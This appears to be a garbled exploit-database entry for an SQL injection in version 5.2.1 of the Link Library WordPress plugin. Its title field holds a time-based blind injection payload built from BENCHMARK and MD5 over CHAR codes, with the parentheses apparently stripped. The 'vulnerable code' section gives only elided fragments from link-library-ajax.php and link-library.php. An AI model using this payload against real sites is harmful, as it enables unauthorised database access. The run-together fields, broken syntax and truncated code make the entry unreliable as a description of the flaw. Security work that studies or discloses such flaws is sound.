WordPress Plugin Link Library 5.2.1 - SQL Injection

Exploit Title: WordPress Link Library plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0%23 --------------- Vulnerable code --------------- ./link-library-ajax.php: echo $mylinklibraryplugin-LinkLibrary...; ./link-library.php: class linklibraryplugin ... function LinkLibrary... return...